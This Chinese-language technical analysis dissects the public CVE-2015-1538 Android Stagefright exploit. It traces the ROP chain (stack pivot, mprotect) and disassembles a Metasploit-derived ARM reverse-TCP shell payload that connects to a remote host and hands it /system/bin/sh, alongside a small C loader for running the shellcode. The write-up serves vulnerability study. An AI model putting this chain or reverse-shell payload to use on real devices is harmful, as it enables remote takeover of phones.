CVE-2015-1538漏洞利用中的Shellcode分析

Author:没羽@阿里移动安全

0x00 序

2015年7月以色列移动信息安全公司Zimperium在Android Stagefright框架中发现了多个整数溢出和下溢，不正确整数溢出检查等漏洞，可导致任意代码执行等问题。攻击者通过发送包含特制媒体文件的MMS或WEB页来触发该漏洞。由于stagefright不只是用来播放媒体文件的，还能自动产生缩略图，或者从视频或音频文件中抽取元数据，如长度、高度、宽度、帧频、频道和其他类似信息。因此接收到恶意彩信的用户只要查看缩略图就可触发该漏洞。

“Stagefright”媒体播放引擎库在Android 2.2中引入，至5.1的所有版本上均存在此漏洞。使用Stagefright库的应用程序以Media权限运行，成功利用漏洞，允许攻击者以媒体库上下文查看相应的文件，但通过权限提升攻击，可完全控制设备。该Stagefright漏洞所对应的CVE ID如下：

CVE-2015-1538 CVE-2015-1539 CVE-2015-3824 CVE-2015-3826 CVE-2015-3827 CVE-2015-3828 CVE-2015-3829 

zimperium研究人员Joshua Drake在8月的BlackHat会议上讲解并演示了该漏洞。9月份在官方博客（blog.zimperium.com）公开了其中一个漏洞：CVE-2015-1538的利用代码 [1] 。

虽然CVE-2015-1538的利用是在Android 4.0.x上实现的，相对于高版本Android，少了很多缓解技术需要bypass，但是其exploit中所用的媒体文件堆喷、pivot stack、反向连接shell等一些技巧可为以后借鉴，所以将其记录下，也是留个备忘。

0x01 Shellcode代码分析

1.1 ROP

分析Exploit [2] 可知，该漏洞利用“tx3g”tag进行内存堆喷射（2M）来达到执行shellcode。其单个spray buffer的构造如下：

从exploit看，mediaserver crash时代码走到了 android::RefBase::decStrong(android::RefBase *__hidden this, const void *) ，汇编代码如下：

.text:0000EE34 70 B5         PUSH  {R4-R6,LR} .text:0000EE36 05 46         MOV   R5, R0 .text:0000EE38 44 68         LDR   R4, [R0,#4] .text:0000EE3A 0E 46         MOV   R6, R1 .text:0000EE3C 20 46         MOV   R0, R4 .text:0000EE3E FD F7 54 EB   BLX   android_atomic_dec .text:0000EE42 01 28         CMP   R0, #1 .text:0000EE44 0B D1         BNE   loc_EE5E .text:0000EE46 A0 68         LDR   R0, [R4,#8] .text:0000EE48 01 68         LDR   R1, [R0] .text:0000EE4A CA 68         LDR   R2, [R1,#0xC] .text:0000EE4C 31 46         MOV   R1, R6 .text:0000EE4E 90 47         BLX   R2 

按这段代码的执行流程如下：

1）r0 = spray_address = sa

LDR             R4, [R0,#4] 

执行后， r4 = [sa+4] = sa+8

.text:0000EE46  LDR             R0, [R4,#8] 

执行后, r0 = [r4+8]=[sa+8+8]=[sa+0x10]=sa+24=sa+0x18

.text:0000EE48LDR     R1, [R0] 

执行后， r1=[r0+0]=[sa+0x18]=sz+32=sa+0x20

.text:0000EE4A  LDR             R2, [R1,#0xC] 

执行后， r2=[r1+0xC]=[sa+0x20+0xC]=[sa+0x2C]=new_pc 。执行 blx r2 跳到 new_pc 处。

2）new_pc

exploit中默认定义的new_pc为 0xb0002850（__dl_restore_core_regs） ，位于libc.so中。看Android 4.1.2的libc.so中的 restore_core_regs 函数：

.text:00010BA8      EXPORT restore_core_regs .text:00010BA8      ADD             R1, R0, #0x34 ; Alternative name is '__restore_core_regs' .text:00010BAC      LDMIA           R1, {R3-R5} .text:00010BB0      STMFD           SP!, {R3-R5} .text:00010BB4      LDMIA           R0, {R0-R11} .text:00010BB8      LDMFD           SP, {SP-PC} 

这段代码主要是用于pivot stack：

ADD             R1, R0, #0x34 

此时 r0=sa+0x18，r1=sa+0x18+0x34=sa+0x4C

.text:00010BAC      LDMIA           R1, {R3-R5} 

将r1指向地址sa+0x4C的内容依次写到r3，r4，r5中，即 r3=sa+0x40=ROP+0x0 ， r4=0xb0002a98 ， r5=0xb00038b2+1

.text:00010BB0      STMFD           SP!, {R3-R5} 

将r3，r4，r5入栈。

.text:00010BB8      LDMFD           SP, {SP-PC} 

出栈操作；执行完后 sp=ROP+0xC ； lr=0xb0002a98 ； pc=0xb00038b2+1

3）执行pc

此时pc为0xb00038b2+1，基所指向的指令为：

pop {r0, r1, r2, r3, r4, pc} 

将sp指向的栈弹出并存入到r0-r4及pc寄存器中，该条指令执行完后，r0=sp_addr & 0xFFFFF000，r1=0x1000，r2=7，pc=0xb001144。

该条指令可以libstagefright.so中找到。如在4.1.2下：thumb，libstagefright.so + 0x0009086C。

4）再执行pc

此时pc为0xb001144，该地址是mprotect函数的地址，位于libc.so中，代码如下：

.text:0000CACC                 EXPORT mprotect .text:0000CACC                 STMFD           SP!, {R4,R7} .text:0000CAD0                 MOV             R7, #0x7D .text:0000CAD4                 SVC             0        ;超级用户调用 .text:0000CAD8                 LDMFD           SP!, {R4,R7} .text:0000CADC                 MOVS            R0, R0 .text:0000CAE0                 BXPL            LR       .text:0000CAE4                 B               sub_39D44 

将sp_addr地址，长度为0x1000的内存改为可执行权限。

.text:0000CAE0                 BXPL            LR 

如果执行成功则调用lr，即0xb0002a98。

5）执行lr

此时lr为0xb0002a98，其指向的指令如下：

pop {pc} 

当前 sp=ROP+0x24 ，执行完成后`pc=sa+0x80，即shell_reverse_tcp代码的地址。

该条指令可以libstagefright.so中找到。如在4.1.2下：thumb，libstagefright.so + 0x0005ad14。

1.2 shell_reverse_tcp

exploit代码看shell_reverse_tcp是反向连接到目标ip:port的一段payload，这段代码是从metasploit的 shell_reverse_tcp [3] 修改而来的。为了搞清楚这段代码的功能，我们写了一段loader来加载这段代码，然后反汇编进行分析，如下：

unsignedchar payload[] =  "/x02/x70/xa0/xe3" …… "65/x6d/x2f/x62/x69/x6e/x3a/x2f/x73/x79/x73/x74/x65/x6d/x2f/x78/x62/x69/x6e/x00"; int loader() { printf("hello payload: 0x%x/n", payload); asm__volatile__ ( "ldr r0, =payload /t/n" "blx r0 /t/n"); return0; } int main(intargc, char* constargv[]) { loader(); return0; } 

中 payload[] 数组中的数据是从exploit的 shell_reverse_tcp 中提取的。这种加载方式在Android 4.1.x可以运行，高版本Android增加了安全缓解技术，会报错，但不影响分析代码。用IDA Pro加载编译程序，可以看到shell_reverse_tcp的反汇编代码如下：

.data:00002000 02 70 A0 E3                             MOV             R7, #2 .data:00002004 00 0000 EF                             SVC             0       ; __fork .data:00002008 00 00 50 E3                             CMP             R0, #0 .data:0000200C 02 00 00 0A                             BEQ             loc_201C .data:00002010 00 00 A0 E3                             MOV             R0, #0 .data:00002014 01 70 A0 E3                             MOV             R7, #1 .data:00002018 00 0000 EF                             SVC             0       ; _exit_thread .data:0000201Cloc_201C                                ; CODE XREF: .data:0000200Cj .data:0000201C 42 70 A0 E3                             MOV             R7, #0x42 .data:00002020 00 0000 EF                             SVC             0       ; setsid .data:00002024 02 00 A0 E3                             MOV             R0, #2 .data:00002028 01 10 A0 E3                             MOV             R1, #1 .data:0000202C 05 20 81 E2                             ADD             R2, R1, #5 .data:00002030 8C 70 A0 E3 8D 70 87 E2                 MOV             R7, #0x119 .data:00002038 00 0000 EF                             SVC             0       ; socket .data:0000203C 00 60 A0 E1                             MOV             R6, R0 .data:00002040 6C 10 8F E2                             ADR             R1, loc_20B4 ; structsockaddr_in .data:00002044 10 20 A0 E3                             MOV             R2, #0x10 .data:00002048 8D 70 A0 E3 8E 70 87 E2                 MOV             R7, #0x11B .data:00002050 00 0000 EF                             SVC             0       ; connect .data:00002054 06 00 A0 E1                             MOV             R0, R6 .data:00002058 00 10 A0 E3                             MOV             R1, #0 .data:0000205C 3F 70 A0 E3                             MOV             R7, #0x3F .data:00002060 00 0000 EF                             SVC             0       ; dup2 .data:00002064 06 00 A0 E1                             MOV             R0, R6 .data:00002068 01 10 A0 E3                             MOV             R1, #1 .data:0000206C 3F 70 A0 E3                             MOV             R7, #0x3F .data:00002070 00 0000 EF                             SVC             0       ; dup2 .data:00002074 06 00 A0 E1                             MOV             R0, R6 .data:00002078 02 10 A0 E3                             MOV             R1, #2 .data:0000207C 3F 70 A0 E3                             MOV             R7, #0x3F .data:00002080 00 0000 EF                             SVC             0       ; dup2 .data:00002084 30 00 8F E2                             ADR             R0, aSystemBinSh ; "/system/bin/sh" .data:00002088 04 40 24 E0                             EOR             R4, R4, R4 .data:0000208C 10 00 2D E9                             STMFD           SP!, {R4} .data:00002090 38 30 8F E2    ADR   R3, aPathSbinVendor ; "PATH=/sbin:/vendor/bin:/system/sbin:/sy"... .data:00002094 08 00 2D E9                             STMFD           SP!, {R3} .data:00002098 0D 20 A0 E1                             MOV             R2, SP .data:0000209C 10 00 2D E9                             STMFD           SP!, {R4} .data:000020A0 24 40 8F E2                             ADR             R4, aSh ; "sh" .data:000020A4 10 00 2D E9                             STMFD           SP!, {R4} .data:000020A8 0D 10 A0 E1                             MOV             R1, SP .data:000020AC 0B 70 A0 E3                             MOV             R7, #0xB .data:000020B0 00 0000 EF                             SVC             0       ; execve .data:000020B4  loc_20B4                       ; DATA XREF: .data:00002040o .data:000020B4 02 00 30 39   ;structsockaddr_in: <family+port+host>, port: 0x3039(12345) .data:000020B8xx xxxxxx; ip address .data:000020BC 2F 73 79 73 74 65 6D 2F+aSystemBinSh    DCB "/system/bin/sh",0  ; DATA XREF: .data:00002084o .data:000020BC 62 69 6E 2F 73 68 00                                            ; .data:loc_20B4o .data:000020CB 00                                      DCB    0 .data:000020CC 73 68 00      aSh             DCB "sh",0              ; DATA XREF: .data:000020A0o .data:000020CF 00                                      DCB    0 .data:000020D0 50 41 54 48 3D 2F 73 62+aPathSbinVendor DCB "PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin",0 .data:000020D0 69 6E 3A 2F 76 65 6E 64+       ; DATA XREF: .data:00002090o .data:0000210D 00                                      DCB    0 

payload通过svc指令调用相应的linux函数，相应的函数已备注在汇编代码中，这段代码功能是通过tcp连接远程服务器的特定端口，伪代码如下：

r = fork(); if r<>0 exit_thread(); setsid(); s = socket(2,1,6); connect(s, socaddr, 0x10); dup2(s,0);//@stdin dup2(s,1);//@stdout dup2(s,2);//@stderr execve("/system/bin/sh", "sh", "PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin"); 

loader编译后直接运行会失败，这是因为payload存储在“.data”节中，其属性是“Read”的，需要为该节增加“Execute”属性才会运行成功。这里使用010 Editor的ELFTemplate为“.data”节增加“Execute”属性：

然后push到设备中，即可运行成功：

0x02 参考